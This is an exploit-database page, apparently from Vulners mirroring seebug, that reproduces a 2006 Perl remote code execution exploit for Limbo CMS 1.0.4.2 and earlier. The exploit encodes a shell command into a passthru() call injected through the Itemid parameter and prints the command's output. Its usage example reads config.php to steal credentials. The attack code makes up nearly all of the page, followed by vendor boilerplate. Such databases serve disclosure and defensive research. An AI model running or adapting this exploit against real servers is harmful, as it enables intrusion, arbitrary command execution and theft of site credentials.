Lucene search
K

Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Limbo CMS 1.0.4.2 ItemID Remote Code Execution Exploi

Code

                                                #!/usr/bin/perl
##
## Limbo CMS &#60;= 1.0.4.2 (ItemID) Remote Code Execution Exploit
## Bug Discovered by: Coloss / Epsilon (advance1[at]gmail.com) http://coded.altervista.org/limbophp.pl
## /str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];
$command  =  $ARGV[2];
$cmd      =  &#34;echo start_er;&#34;.
             &#34;$command;&#34;.
             &#34;echo end_er&#34;;

my $byte = join(&#39;.&#39;, map { $_ = &#39;chr(&#39;.$_.&#39;)&#39; } unpack(&#39;C*&#39;, $cmd));

sub usage
{
        print &#34;Limbo CMS &#60;= 1.0.4.2 (ItemID) Remote Code Execution Exploit /str0ke (milw0rm.com)&#34;;
        print &#34;Usage: $0 www.example.com /directory/ \&#34;cat config.php\&#34;\n&#34;;
        print &#34;sever    -  URL\n&#34;;
        print &#34;path     -  path to limbo\n&#34;;
        print &#34;command  -  command to execute\n&#34;;
        exit ();
}

sub exploit
{
        print qq(Limbo CMS &#60;= 1.0.4.2 (ItemID) Remote Code Execution Exploit\n/str0ke (milw0rm.com)\n\n);
        $URL = sprintf(&#34;http://%s%sindex.php?option=frontpage&Itemid=passthru($byte)&#34;,$serv,$path);
        my $content = get &#34;$URL&#34;;
        if ($content =~ m/start_er(.*?)end_er/ms) {
                my $out = $1;
                $out =~ s/^\s+|\s+$//gs;
                if ($out) {
                        print &#34;$out\n&#34;;
                }
        }
}

if (@ARGV != 3){&usage;}else{&exploit;}

# milw0rm.com [2006-03-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13